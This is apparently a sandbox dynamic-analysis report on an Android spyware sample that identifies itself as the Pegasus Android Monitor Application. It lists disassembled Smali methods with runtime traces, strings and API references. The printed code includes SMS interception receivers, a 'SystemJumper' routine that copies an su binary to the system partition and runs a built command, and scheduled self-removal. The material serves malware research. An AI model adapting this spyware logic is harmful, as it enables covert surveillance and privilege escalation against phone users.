      35invoke-virtual {v0}, Ljava/io/File;->getAbsolutePath()Ljava/lang/String;
      36move-result-object v1
      38invoke-static {v1}, Lcom/network/h/b;->a(Ljava/lang/String;)V
      40invoke-virtual {v0}, Ljava/io/File;->mkdir()Z
      41const/4 v0, 0x1
      42const/16 v1, 0x62
      44const-string v2, "LOG_AGENT_WAS_INTALLED__BY_OVVERIDE"
      46invoke-static {v0, v1, v2}, Lcom/network/android/c/a/b;->a(ISLjava/lang/String;)V
      47cond_41:
      48const-string v0, "performIfAgentWasInstalledInOvverideCheck end"
      50invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1067131
        • p0: performIfAgentWasInstalledInOvverideCheck end
      51try_end_46: new-instance v0, Lcom/network/e/a/b;
      53invoke-direct {v0}, Lcom/network/e/a/b;-><init>()V
      54iput-object v0, p0, Lcom/network/android/android/monitor/AndroidMonitorApplication;->a:Lcom/network/e/a/b;
      55new-instance v0, Landroid/content/IntentFilter;
      57invoke-direct {v0}, Landroid/content/IntentFilter;-><init>()V
      59iget-object v1, p0, Lcom/network/android/android/monitor/AndroidMonitorApplication;->a:Lcom/network/e/a/b;
      61invoke-virtual {p0, v0}, Lcom/network/android/android/monitor/AndroidMonitorApplication;->a(Landroid/content/IntentFilter;)V
      62new-instance v1, Lcom/network/android/android/monitor/a;
      64invoke-direct {v1, p0}, Lcom/network/android/android/monitor/a;-><init>(Lcom/network/android/android/monitor/AndroidMonitorApplication;)V
      65iput-object v1, p0, Lcom/network/android/android/monitor/AndroidMonitorApplication;->b:Landroid/content/BroadcastReceiver;
      67iget-object v1, p0, Lcom/network/android/android/monitor/AndroidMonitorApplication;->b:Landroid/content/BroadcastReceiver;
      69invoke-virtual {p0, v1, v0}, Lcom/network/android/android/monitor/AndroidMonitorApplication;->registerReceiver(Landroid/content/BroadcastReceiver;Landroid/content/IntentFilter;)Landroid/content/Intent;
      • Time: 1068843
        • This:
          • com.network.android.agent.NetworkApp@c3182bd
        • p0: com.network.android.android.monitor.a@4dd5b01
        • p1: android.content.IntentFilter@7c03da6
        • p1.getAction0: android.provider.Telephony.SMS_RECEIVED
        • p1.getAction1: android.provider.Telephony.NEW_OUTGOING_SMS
        • Return:
          • null
      70new-instance v0, Ljava/lang/StringBuilder;
      72const-string v1, "AndroidMonitorApplication Build.VERSION.SDK_INT:"
      74invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      75sget v1, Landroid/os/Build$VERSION;->SDK_INT:I
      77invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      78move-result-object v0
      80invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      81move-result-object v0
      83invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068846
        • p0: AndroidMonitorApplication Build.VERSION.SDK_INT:28
      85invoke-static {}, Lcom/network/android/a/c;->d()Z
      • Time: 1068874
        • Return:
          • true
      86move-result v0
      87if-nez v0, :cond_b3
      89const-string v0, "AndroidMonitorApplication: startService ACTION_ENTRY_POINT"
      91invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      92new-instance v0, Landroid/content/Intent;
      93const-class v1, Lcom/network/android/android/monitor/NetworkManagerService;
      95invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      97const-string v1, "ACTION_ENTRY_POINT"
      99invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      100move-result-object v0
      102invoke-virtual {p0, v0}, Lcom/network/android/android/monitor/AndroidMonitorApplication;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
      103goto_92:
      104invoke-static {p0}, Lcom/network/android/roomTap/k;->a(Landroid/content/Context;)V
      106const-string v0, "AndroidMonitorApplication: Pegasus Android Monitor Application Initialized Successfully!"
      108invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068916
        • p0: AndroidMonitorApplication: Pegasus Android Monitor Application Initialized Successfully!
      109return-void
      110catch_9b: move-exception v0
      111new-instance v1, Ljava/lang/StringBuilder;
      113const-string v2, "performIfAgentWasInstalledInOvverideCheck exception"
      115invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      117invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      118move-result-object v2
      120invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      121move-result-object v1
      123invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      124move-result-object v1
      126invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      127goto/16 :goto_46
      128cond_b3:
      129const-string v0, "AndroidMonitorApplication: 4.3 JELLY_BEAN_MR2. working without the service "
      131invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068877
        • p0: AndroidMonitorApplication: 4.3 JELLY_BEAN_MR2. working without the service
      132goto/16 :goto_92
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.<init>
      • java.io.File.exists
      • java.lang.StringBuilder.<init>
      • android.content.Context.getApplicationInfo
      • android.content.pm.ApplicationInfo.dataDir:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.io.File.<init>
      • java.io.File.exists
      • java.io.File.length
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • SystemJumper - jumpToSystem start. apkPath:
      • SystemJumper - jumpToSystem start. apkPath: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      • SystemJumper - copyMySuFileToSystem - agent is already installed on system direcotry. returning.
      • SystemJumper - copyMySuFileToSystem - this is android 4 version. somthing is wrong. returning.
      • /system/csk
      • SystemJumper - MY_SU exist! running in debug mode!
      • SystemJumper - jumpToSystem copyMySuFileToSystem failed. returning
      • SystemJumper - jumpToSystem found antidute. not jumping. returning
      • /adrubh.dat
      • SystemJumper - copyBHParamsFileToTheSize start.
      • /data/myappinfo
      • SystemJumper - copyBHParamsFileToTheSize bh params file does not exists. returning false;.
      • SystemJumper - create command failed. returning
      • SystemJumper - copyBHParamsFileToTheSize bh params file too small. returning false
      • SystemJumper - jumpToSystem - exception.
      • SystemJumper - jumpToSystem - all good. performing command:
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const/4 v1, -0x1
      2try_start_2: new-instance v2, Ljava/lang/StringBuilder;
      4const-string v3, "SystemJumper - jumpToSystem start. apkPath: "
      6invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      8invoke-static {p0}, Lcom/network/h/b;->c(Landroid/content/Context;)Ljava/lang/String;
      9move-result-object v3
      11invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      12move-result-object v2
      14invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      15move-result-object v2
      17invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068143
        • p0: SystemJumper - jumpToSystem start. apkPath: /data/app/com.network.android-SsvII82gNSMb8WVJzOgspg==/base.apk
      19invoke-static {p0}, Lcom/network/h/b;->d(Landroid/content/Context;)Z
      20move-result v2
      21if-eqz v2, :cond_24
      23const-string v2, "SystemJumper - copyMySuFileToSystem - agent is already installed on system direcotry. returning."
      25invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      26goto_23: return v0
      27cond_24:
      28invoke-static {}, Lcom/network/a/a;->b()D
      29move-result-wide v2
      30const-wide/high16 v4, 0x4010000000000000L # 4.0
      31cmpl-double v2, v2, v4
      32if-lez v2, :cond_45
      34const-string v2, "SystemJumper - copyMySuFileToSystem - this is android 4 version. somthing is wrong. returning."
      36invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1068271
        • p0: SystemJumper - copyMySuFileToSystem - this is android 4 version. somthing is wrong. returning.
      37new-instance v2, Ljava/io/File;
      39const-string v3, "/system/csk"
      41invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      • Time: 1068272
        • This:
          • /system/csk
        • p0: /system/csk
        • Return:
          • /system/csk
      43invoke-virtual {v2}, Ljava/io/File;->exists()Z
      • Time: 1068275
        • This:
          • /system/csk
        • Return:
          • false
      44move-result v2
      45if-eqz v2, :cond_5f
      47const-string v2, "SystemJumper - MY_SU exist! running in debug mode!"
      49invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      50cond_45: new-instance v2, Ljava/io/File;
      52const-string v3, "/system/csk"
      54invoke-direct {v2, v3}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      56invoke-virtual {v2}, Ljava/io/File;->exists()Z
      57move-result v2
      58if-nez v2, :cond_61
      60invoke-static {p0}, Lcom/network/h/a;->c(Landroid/content/Context;)I
      61move-result v0
      62if-eqz v0, :cond_61
      64const-string v0, "SystemJumper - jumpToSystem copyMySuFileToSystem failed. returning"
      66invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      67move v0, v1
      68goto/16 :goto_23
      69cond_5f: move v0, v1
      70goto/16 :goto_23
      71cond_61:
      72invoke-static {p0}, Lcom/network/h/b;->h(Landroid/content/Context;)Z
      73move-result v2
      74if-eqz v2, :cond_6e
      76const-string v0, "SystemJumper - jumpToSystem found antidute. not jumping. returning"
      78invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      79move v0, v1
      80goto/16 :goto_23
      81cond_6e: new-instance v2, Ljava/lang/StringBuilder;
      83invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      85invoke-virtual {p0}, Landroid/content/Context;->getApplicationInfo()Landroid/content/pm/ApplicationInfo;
      86move-result-object v3
      88iget-object v3, v3, Landroid/content/pm/ApplicationInfo;->dataDir:Ljava/lang/String;
      90invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      91move-result-object v2
      93const-string v3, "/adrubh.dat"
      95invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      96move-result-object v2
      98invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      99move-result-object v2
      101const-string v3, "SystemJumper - copyBHParamsFileToTheSize start."
      103invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      104new-instance v3, Ljava/io/File;
      106const-string v4, "/data/myappinfo"
      108invoke-direct {v3, v4}, Ljava/io/File;-><init>(Ljava/lang/String;)V
      110invoke-virtual {v3}, Ljava/io/File;->exists()Z
      111move-result v4
      112if-nez v4, :cond_ac
      114const-string v2, "SystemJumper - copyBHParamsFileToTheSize bh params file does not exists. returning false;."
      116invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      117goto_9e:
      118invoke-static {p0}, Lcom/network/h/a;->b(Landroid/content/Context;)Ljava/lang/String;
      119move-result-object v2
      120if-nez v2, :cond_dc
      122const-string v0, "SystemJumper - create command failed. returning"
      124invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      125move v0, v1
      126goto/16 :goto_23
      127cond_ac: const-wide/16 v4, 0x1
      129invoke-virtual {v3}, Ljava/io/File;->length()J
      130move-result-wide v6
      131cmp-long v3, v4, v6
      132if-lez v3, :cond_d6
      134const-string v2, "SystemJumper - copyBHParamsFileToTheSize bh params file too small. returning false"
      136invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      137try_end_bb: goto/16 :goto_9e
      138catch_bc: move-exception v0
      139new-instance v2, Ljava/lang/StringBuilder;
      141const-string v3, "SystemJumper - jumpToSystem - exception. "
      143invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      145invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      146move-result-object v3
      148invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      149move-result-object v2
      151invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      152move-result-object v2
      154invoke-static {v2, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      155move v0, v1
      156goto/16 :goto_23
      157try_start_d6:
      158const-string v3, "/data/myappinfo"
      160invoke-static {v3, v2}, Lcom/network/media/q;->a(Ljava/lang/String;Ljava/lang/String;)I
      161goto/16 :goto_9e
      162cond_dc: new-instance v3, Ljava/lang/StringBuilder;
      164const-string v4, "SystemJumper - jumpToSystem - all good. performing command: "
      166invoke-direct {v3, v4}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      168invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      169move-result-object v3
      171invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      172move-result-object v3
      174invoke-static {v3}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      176invoke-static {v2}, Lcom/network/android/m;->c(Ljava/lang/String;)V
      177try_end_f1: goto/16 :goto_23
      Cross References
      APIs
      • com.network.android.b.a.a:Ljava/lang/Object
      • com.network.android.b.a.getReadableDatabase
      • android.database.sqlite.SQLiteDatabase.rawQuery
      • android.database.Cursor.moveToFirst
      • android.database.Cursor.getInt
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • com.network.android.b.a.a:Ljava/lang/Object
      • java.lang.Object.notifyAll
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.database.Cursor.close
      • android.database.sqlite.SQLiteDatabase.isOpen
      • android.database.sqlite.SQLiteDatabase.close
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • DatabaseHandler getCount
      • DatabaseHandler getCount countQuery:SELECT COUNT(*) FROM NetworkData
      • SELECT COUNT(*) FROM NetworkData
      • DatabaseHandler finaly pick - fail to close input stream:
      • DatabaseHandler getCount error:
      Position Instruction Meta Information
      0const/4 v3, 0x0
      1const/4 v2, 0x0
      3const-string v0, "DatabaseHandler getCount"
      5invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074219
        • p0: DatabaseHandler getCount
      7sget-object v4, Lcom/network/android/b/a;->a:Ljava/lang/Object;
      8monitor-enter v4
      9try_start_a:
      10const-string v0, "DatabaseHandler getCount countQuery:SELECT COUNT(*) FROM NetworkData"
      12invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074246
        • p0: DatabaseHandler getCount countQuery:SELECT COUNT(*) FROM NetworkData
      14invoke-virtual {p0}, Lcom/network/android/b/a;->getReadableDatabase()Landroid/database/sqlite/SQLiteDatabase;
      15try_end_12: move-result-object v1
      16try_start_13:
      17const-string v0, "SELECT COUNT(*) FROM NetworkData"
      18const/4 v5, 0x0
      20invoke-virtual {v1, v0, v5}, Landroid/database/sqlite/SQLiteDatabase;->rawQuery(Ljava/lang/String;[Ljava/lang/String;)Landroid/database/Cursor;
      • Time: 1074311
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@a2944b8
      • Time: 1079687
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@fcb3471
      • Time: 1097103
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@664e5fd
      • Time: 1097748
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@d7ca9f
      • Time: 1116477
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@ea53fab
      • Time: 1176486
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@5e53d9
      • Time: 1236489
        • This:
          • SQLiteDatabase: /data/user/0/com.network.android/databases/NetworkManagerData.db
        • sql: SELECT COUNT(*) FROM NetworkData
        • selectionArgs: null
        • Return:
          • android.database.sqlite.SQLiteCursor@4a8f481
      21move-result-object v2
      23invoke-interface {v2}, Landroid/database/Cursor;->moveToFirst()Z
      24move-result v0
      25if-eqz v0, :cond_25
      26const/4 v0, 0x0
      28invoke-interface {v2, v0}, Landroid/database/Cursor;->getInt(I)I
      29try_end_24: move-result v3
      30cond_25: if-eqz v2, :cond_2a
      31try_start_27:
      32invoke-interface {v2}, Landroid/database/Cursor;->close()V
      33cond_2a: if-eqz v1, :cond_35
      35invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      36move-result v0
      37if-eqz v0, :cond_35
      39invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      40try_end_35: move v0, v3
      41goto_36:
      42sget-object v1, Lcom/network/android/b/a;->a:Ljava/lang/Object;
      44invoke-virtual {v1}, Ljava/lang/Object;->notifyAll()V
      45monitor-exit v4
      46return v0
      47catch_3d: move-exception v0
      48new-instance v1, Ljava/lang/StringBuilder;
      50const-string v2, "DatabaseHandler finaly pick - fail to close input stream: "
      52invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      54invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      55move-result-object v2
      57invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      58move-result-object v1
      60invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      61move-result-object v1
      63invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      64try_end_54: move v0, v3
      65goto/16 :goto_36
      66catch_56: move-exception v0
      67move-object v1, v2
      68goto_58: new-instance v5, Ljava/lang/StringBuilder;
      70const-string v6, "DatabaseHandler getCount error: "
      72invoke-direct {v5, v6}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      74invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      75move-result-object v6
      77invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      78move-result-object v5
      80invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      81move-result-object v5
      83invoke-static {v5, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      84try_end_6e: if-eqz v2, :cond_73
      85try_start_70:
      86invoke-interface {v2}, Landroid/database/Cursor;->close()V
      87cond_73: if-eqz v1, :cond_7e
      89invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      90move-result v0
      91if-eqz v0, :cond_7e
      93invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      94cond_7e: move v0, v3
      95goto/16 :goto_36
      96catch_80: move-exception v0
      97try_start_81: new-instance v1, Ljava/lang/StringBuilder;
      99const-string v2, "DatabaseHandler finaly pick - fail to close input stream: "
      101invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      103invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      104move-result-object v2
      106invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      107move-result-object v1
      109invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      110move-result-object v1
      112invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      113try_end_97: move v0, v3
      114goto/16 :goto_36
      115catchall_99: move-exception v0
      116move-object v1, v2
      117goto_9b: if-eqz v2, :cond_a0
      118try_start_9d:
      119invoke-interface {v2}, Landroid/database/Cursor;->close()V
      120cond_a0: if-eqz v1, :cond_ab
      122invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->isOpen()Z
      123move-result v2
      124if-eqz v2, :cond_ab
      126invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->close()V
      127try_end_ab: throw v0
      128try_end_ac: move-exception v0
      129monitor-exit v4
      130throw v0
      131catch_af: move-exception v1
      132try_start_b0: new-instance v2, Ljava/lang/StringBuilder;
      134const-string v3, "DatabaseHandler finaly pick - fail to close input stream: "
      136invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      138invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      139move-result-object v3
      141invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      142move-result-object v2
      144invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      145move-result-object v2
      147invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      148try_end_c6: goto/16 :goto_ab
      149catchall_c7: move-exception v0
      150goto/16 :goto_9b
      151catch_c9: move-exception v0
      152goto/16 :goto_58
      Cross References
      APIs
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.Intent.<init>
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.net.Uri.parse
      • android.content.Intent.setData
      • android.content.Intent.setAction
      • android.content.Intent.putExtra
      • android.content.Intent.putExtra
      • android.app.PendingIntent.getBroadcast
      • java.lang.System.currentTimeMillis
      • android.app.AlarmManager.set
      • java.lang.StringBuilder.<init>
      • java.lang.Throwable.getMessage
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • NetworApp removeHistory:
      • NetworApp removeHistory: 300000
      • NetworApp removeHistory: 30000
      • NetworApp removeHistory: 600000
      • TO_REMOVE:
      • TO_REMOVE:300000
      • TO_REMOVE:30000
      • TO_REMOVE:600000
      • RemoveHistory
      • timeToStop
      • URL For Remove
      • toRemove
      • removeHistory
      Position Instruction Meta Information
      0try_start_0: new-instance v0, Ljava/lang/StringBuilder;
      2const-string v1, "NetworApp removeHistory: "
      4invoke-direct {v0, v1}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      6invoke-virtual {v0, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      7move-result-object v0
      9invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      10move-result-object v0
      12invoke-static {v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      • Time: 1074404
        • p0: NetworApp removeHistory: 30000
      • Time: 1074444
        • p0: NetworApp removeHistory: 300000
      • Time: 1074460
        • p0: NetworApp removeHistory: 600000
      13new-instance v0, Landroid/content/Intent;
      14const-class v1, Lcom/network/media/CoreReceiver;
      16invoke-direct {v0, p0, v1}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
      17new-instance v1, Ljava/lang/StringBuilder;
      19const-string v2, "TO_REMOVE:"
      21invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      23invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      24move-result-object v1
      26invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      27move-result-object v1
      29invoke-static {v1}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
      • Time: 1074408
        • uriString: TO_REMOVE:30000
        • Return:
          • TO_REMOVE:30000
      • Time: 1074448
        • uriString: TO_REMOVE:300000
        • Return:
          • TO_REMOVE:300000
      • Time: 1074461
        • uriString: TO_REMOVE:600000
        • Return:
          • TO_REMOVE:600000
      30move-result-object v1
      32invoke-virtual {v0, v1}, Landroid/content/Intent;->setData(Landroid/net/Uri;)Landroid/content/Intent;
      34const-string v1, "RemoveHistory"
      36invoke-virtual {v0, v1}, Landroid/content/Intent;->setAction(Ljava/lang/String;)Landroid/content/Intent;
      38const-string v1, "timeToStop"
      40invoke-virtual {v0, v1, p1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;I)Landroid/content/Intent;
      • Time: 1074412
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: timeToStop
        • p1: 30000
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      • Time: 1074452
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:300000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: timeToStop
        • p1: 300000
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:300000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      • Time: 1074465
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:600000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: timeToStop
        • p1: 600000
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:600000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      42const-string v1, "toRemove"
      44invoke-virtual {v0, v1, p2}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
      • Time: 1074416
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: toRemove
        • p1: URL For Remove
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:30000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      • Time: 1074456
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:300000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: toRemove
        • p1: URL For Remove
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:300000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      • Time: 1074468
        • This:
          • Intent { act=RemoveHistory dat=TO_REMOVE:600000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
        • p0: toRemove
        • p1: URL For Remove
        • Return:
          • Intent { act=RemoveHistory dat=TO_REMOVE:600000 cmp=com.network.android/com.network.media.CoreReceiver (has extras) }
      45const/4 v1, 0x0
      46const/4 v2, 0x0
      48invoke-static {p0, v1, v0, v2}, Landroid/app/PendingIntent;->getBroadcast(Landroid/content/Context;ILandroid/content/Intent;I)Landroid/app/PendingIntent;
      49move-result-object v0
      50const/4 v1, 0x0
      52invoke-static {}, Ljava/lang/System;->currentTimeMillis()J
      53move-result-wide v2
      54int-to-long v4, p1
      55add-long/2addr v2, v4
      57invoke-virtual {p3, v1, v2, v3, v0}, Landroid/app/AlarmManager;->set(IJLandroid/app/PendingIntent;)V
      58goto_4e: return-void
      59catch_4f: move-exception v0
      60new-instance v1, Ljava/lang/StringBuilder;
      62const-string v2, "removeHistory"
      64invoke-direct {v1, v2}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      66invoke-virtual {v0}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      67move-result-object v2
      69invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      70move-result-object v1
      72invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      73move-result-object v1
      75invoke-static {v1, v0}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      76goto/16 :goto_4e
      Cross References
      APIs
      • android.util.Xml.newSerializer
      • java.io.StringWriter.<init>
